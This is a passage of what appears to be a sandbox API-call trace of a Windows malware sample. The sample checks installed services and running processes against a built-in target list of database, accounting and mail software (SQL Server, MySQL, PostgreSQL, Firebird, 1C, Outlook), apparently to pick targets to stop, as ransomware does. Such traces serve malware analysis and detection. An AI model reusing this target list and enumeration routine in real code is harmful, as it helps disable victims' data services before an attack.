	[0040.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0040.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0040.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0040.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0040.830] lstrlenW (lpString="netprofm") returned 8
	[0040.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0040.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0040.831] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0040.831] lstrlenW (lpString="NlaSvc") returned 6
	[0040.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0040.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0040.831] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0040.831] lstrlenW (lpString="nsi") returned 3
	[0040.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0040.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0040.831] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0040.831] lstrlenW (lpString="PcaSvc") returned 6
	[0040.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0040.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0040.831] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0040.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0040.831] lstrlenW (lpString="PlugPlay") returned 8
	[0040.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0040.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0040.832] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0040.832] lstrlenW (lpString="Power") returned 5
	[0040.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0040.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0040.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0040.832] lstrlenW (lpString="ProfSvc") returned 7
	[0040.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0040.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0040.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0040.832] lstrlenW (lpString="RpcEptMapper") returned 12
	[0040.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0040.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0040.832] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0040.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0040.832] lstrlenW (lpString="RpcSs") returned 5
	[0040.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0040.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0040.833] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0040.833] lstrlenW (lpString="SamSs") returned 5
	[0040.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0040.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0040.833] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0040.833] lstrlenW (lpString="Schedule") returned 8
	[0040.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0040.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0040.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0040.833] lstrlenW (lpString="SENS") returned 4
	[0040.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0040.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0040.833] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0040.833] lstrlenW (lpString="ShellHWDetection") returned 16
	[0040.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0040.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0040.833] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0040.834] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0040.834] lstrlenW (lpString="Spooler") returned 7
	[0040.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0040.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0040.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0040.834] lstrlenW (lpString="SysMain") returned 7
	[0040.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0040.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0040.834] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0040.834] lstrlenW (lpString="Themes") returned 6
	[0040.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0040.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0040.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0040.834] lstrlenW (lpString="TrkWks") returned 6
	[0040.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0040.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0040.834] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0040.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0040.835] lstrlenW (lpString="UxSms") returned 5
	[0040.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0040.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0040.835] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0040.835] lstrlenW (lpString="VSS") returned 3
	[0040.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0040.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0040.835] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0040.835] lstrlenW (lpString="WdiServiceHost") returned 14
	[0040.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0040.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0040.835] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0040.835] lstrlenW (lpString="WdiSystemHost") returned 13
	[0040.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0040.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0040.835] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0040.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0040.835] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0040.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0040.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0040.836] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0040.836] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0040.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0040.836] lstrlenW (lpString="Winmgmt") returned 7
	[0040.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0040.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0040.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0040.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0040.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0040.836] lstrlenW (lpString="WPDBusEnum") returned 10
	[0040.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0040.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0040.836] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0040.836] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0040.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0040.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x36a1308 | out: hHeap=0x4f0000) returned 1
	[0040.836] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178
	[0040.840] Process32FirstW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0040.841] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0040.842] lstrlenW (lpString="System") returned 6
	[0040.842] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0040.842] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0040.842] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0040.842] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0040.842] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0040.842] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0040.842] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0040.842] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0040.843] lstrlenW (lpString="smss.exe") returned 8
	[0040.843] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0040.843] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0040.843] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0040.843] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0040.843] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0040.843] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0040.843] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0040.843] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0040.844] lstrlenW (lpString="csrss.exe") returned 9
	[0040.844] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0040.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0040.844] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0040.845] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0040.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0040.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0040.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0040.845] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0040.846] lstrlenW (lpString="wininit.exe") returned 11
	[0040.846] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0040.846] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0040.846] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0040.846] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0040.846] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0040.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0040.846] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0040.846] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0040.847] lstrlenW (lpString="csrss.exe") returned 9
	[0040.847] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0040.847] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0040.848] lstrlenW (lpString="winlogon.exe") returned 12
	[0040.848] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0040.848] lstrlenW (lpString="services.exe") returned 12
	[0040.848] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0040.849] lstrlenW (lpString="lsass.exe") returned 9
	[0040.849] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0040.850] lstrlenW (lpString="lsm.exe") returned 7
	[0040.850] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.850] lstrlenW (lpString="svchost.exe") returned 11
	[0040.850] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.851] lstrlenW (lpString="svchost.exe") returned 11
	[0040.851] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.852] lstrlenW (lpString="svchost.exe") returned 11
	[0040.852] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.853] lstrlenW (lpString="svchost.exe") returned 11
	[0040.853] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.853] lstrlenW (lpString="svchost.exe") returned 11
	[0040.853] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0040.854] lstrlenW (lpString="audiodg.exe") returned 11
	[0040.854] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.855] lstrlenW (lpString="svchost.exe") returned 11
	[0040.855] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.856] lstrlenW (lpString="svchost.exe") returned 11
	[0040.856] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0040.856] lstrlenW (lpString="dwm.exe") returned 7
	[0040.856] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0040.857] lstrlenW (lpString="explorer.exe") returned 12
	[0040.857] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0040.858] lstrlenW (lpString="spoolsv.exe") returned 11
	[0040.858] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0040.859] lstrlenW (lpString="taskhost.exe") returned 12
	[0040.859] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.859] lstrlenW (lpString="svchost.exe") returned 11
	[0040.859] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0040.860] lstrlenW (lpString="taskeng.exe") returned 11
	[0040.860] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0040.861] lstrlenW (lpString="taskhost.exe") returned 12
	[0040.861] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0040.862] lstrlenW (lpString="program.exe") returned 11
	[0040.862] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0040.862] lstrlenW (lpString="felt.exe") returned 8
	[0040.862] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0040.863] lstrlenW (lpString="bibliography.exe") returned 16
	[0040.863] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0040.864] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0040.864] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0040.864] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0040.865] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0040.865] lstrlenW (lpString="converter.exe") returned 13
	[0040.865] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0040.866] lstrlenW (lpString="once.exe") returned 8
	[0040.866] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
